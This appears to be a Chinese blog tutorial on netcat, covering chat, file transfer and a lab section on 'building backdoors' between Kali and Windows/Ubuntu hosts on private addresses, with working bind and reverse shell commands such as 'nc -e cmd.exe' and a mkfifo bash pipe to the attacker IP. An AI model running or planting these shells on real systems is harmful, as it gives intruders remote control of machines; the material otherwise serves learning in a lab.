【瑞士军刀】netcat使用方法
【瑞士军刀】netcat使用方法
本文仅用作学习用途,切莫做违法的事情,产生一切后果与本人无关。
1、主机间通信
服务端开启nc -l -p 4444
-l listening
-p Port
nc IP Port
连接服务端
2、远程shell
nc -l -p 4444 -e cmd.exe
-e 远程连接shell(比较危险)
nc IP Port
3、文件传输
nc -l -p 4444 > file.txt
作为服务端开启监听模式,将远程传来的文件导入到本地file.txt文件中。(>为覆盖,>>为追加)
nc IP Port < test.txt
将test.txt文件内容传输到指定主机。
先创建一个test.txt文件,写入i love you。
将该文件远程传输到kali
到kali查看结果:
文件传输成功!
4、建立后门
后门的分类
监听后门:受害者做服务端,攻击者做客户端,受害者等待攻击者主动连接
连接后门:攻击者做服务端,受害者做客户端,受害者自动连接攻击者
在window建立后门
实验一:
后门类型 实验环境 连接后门 受害者windows10: 192.168.31.212; 攻击者kali:192.168.31.250 在kali开启服务端:
nc -l -p 4444
在win10去连接kali:
nc IP Port cmd.exe
kali直接获取windows的shell:
实验二:
后门类型 | 实验环境 |
---|---|
监听后门 | 受害主机win10: 192.168.31.212 ; 攻击主机kali:192.168.31.250 |
在win10开启服务端:
nc -l -p 4444 -e cmd.exe
在kali去连接win10:
nc 192.168.31.212 4444
如图所示成功连接,成功建立后门!
在linux上建立后门
实验一:
后门类型 实验环境 监听后门 受害主机ubuntu: 192.168.31.49 ; 攻击者kali: 192.168.31.250 kali中的netcat是GNU版
ubuntu中的netcat是openbsd版,此版本
-e
命令被删除了,我们管道来代替完成。先在ubuntu中建立后门,执行以下命令:
mkfifo /tmp/f
创建一个命名管道cat /tmp/f | /bin/bash 2>&1 | /bin/nc.openbsd -l -p 9090 > /tmp/f
开启服务端在kail中连接:
nc 192.168.31.250 9090
尝试运行shell命令:
如图所示,执行成功!
实验二:
后门类型 实验环境 连接后门 受害主机ubuntu: 192.168.31.49 ; 攻击者kali: 192.168.31.250 先在kali中开启服务端:
nc -l -p 9090
在ubuntu中建立后门:
cat /tmp/f | /bin/bash 2>&1 | /bin/nc.openbsd 192.168.31.250 9090 > /tmp/f
回到kali中尝试执行shell命令:
如图所示,执行成功,说明后门建立成功!
【瑞士军刀】netcat使用方法相关推荐
- 【netcat学习】学习使用网络工具中的瑞士军刀——NetCat
简介 NetCat被称为网络工具中的"瑞士军刀",体积小巧,功能强大.使用netcat可以建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,可以在这些连接上读取数据 ...
- 瑞士军刀Netcat的使用方法
一.Netcat简介 1.简介:Netcat是一款非常出名的网络工具,简称"NC",有渗透测试中的"瑞士军刀"之称.它可以用作端口监听.端口扫描.远程文件传输. ...
- 瑞士军刀 netcat
目录 瑞士军刀 netcat nc 的作用 Netcat 简易使用 ①连接到远程主机命令 ②监听本地主机 ③端口扫描 ④端口监听 ⑤连接远程系统 ⑥文件传输 ⑦简易聊天 ⑧蜜罐 nc 小实验 nc 小 ...
- 网络工具中的瑞士军刀——netcat工具简介
今天给大家带来netcat这款工具的简单介绍.netcat有着"网络工具中的瑞士军刀"的绰号.它体积小巧,功能却又十分强大.下面的内容包括,man手册翻译.常用参数介绍及例子. 一 ...
- netcat使用方法_记一次NC(NETCAT)传输文件实战
二.传输文件 咱们先设立一个场景,如果你在电子取证的时候发现有文件需要传输到你的物理机上,但是又不能让自己的取证机有一些系统内存大小上发生一点变化,这时候可以使用 NC的文件传输功能: 1.物理机取证 ...
- netcat 使用方法
linux 安装方法 apt-get install netcat-traditional apt install netcat-openbsd windows下载 netcat 1.11 for W ...
- 网络工具的瑞士军刀netcat
这是一个聒噪的夜晚,如果要给出个原因,可能是因为虽然我觉得西班牙不纯粹,但是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后,我觉得该玩一下素有网络瑞士军刀之称谓的netcat了.虽然瑞士军刀 ...
- 【目录】 网络瑞士军刀-netcat的秘诀
1 Netcat基本使用 2 Netcat文件传输 3 netcat信息探测 4 Netcat建立后门 5 netcat命令参数介绍 6 netcat连接转发 7 Netcat 反弹shell 8 N ...
- netcat使用方法
netcat的主要功能如下: 1.侦听模式.传输模式 2.telent/获取banner信息 3.传输文本信息 4.传输文件/目录 5.加密传输文件 6.远程控制/木马 7.加密所有流量 8.流媒体服 ...
最新文章
- 解释上采样和PixelShuffle
- boost::make_biconnected_planar用法的测试程序
- [Android] 使用Matrix矩阵类对图像进行缩放、旋转、对比度、亮度处理
- Lua——table(表)的使用
- 双粗虚线中间一条实线_马路中间有一条黄色虚线和一条实线,能超车吗?
- Nashorn如何在新层面上影响API的发展
- 《web前端课堂》正式上线啦!
- URI,URL与URN的区别
- (一)HBase基础介绍
- LiveGBS国标GB/T28181|GB35114流媒体服务(LiveSMS)如何配置节点集群
- The “fxp/composer-asset-plugin“ plugin was skipped because it requires a Plugin API version (“^1.0“)
- 人生如逆旅,我亦是行人。
- 云桌面有哪些优势-为什么企业使用云桌面是趋势
- cad怎么画立体图形教学_怎么在CAD中绘制三维立体图
- Word处理控件Aspose.Words功能演示:使用 C# 将 Word 文档转换为 Markdown
- 四、最小生成树——普里姆(Prim)算法
- abb机器人指令手册_ABB机器人速度设置
- 360手机官方刷机教程(N5系列通用)
- 两个umijs/max项目使用微前端简单示例
- 谷歌浏览器模拟微信/QQ内置浏览器调试及js判断方法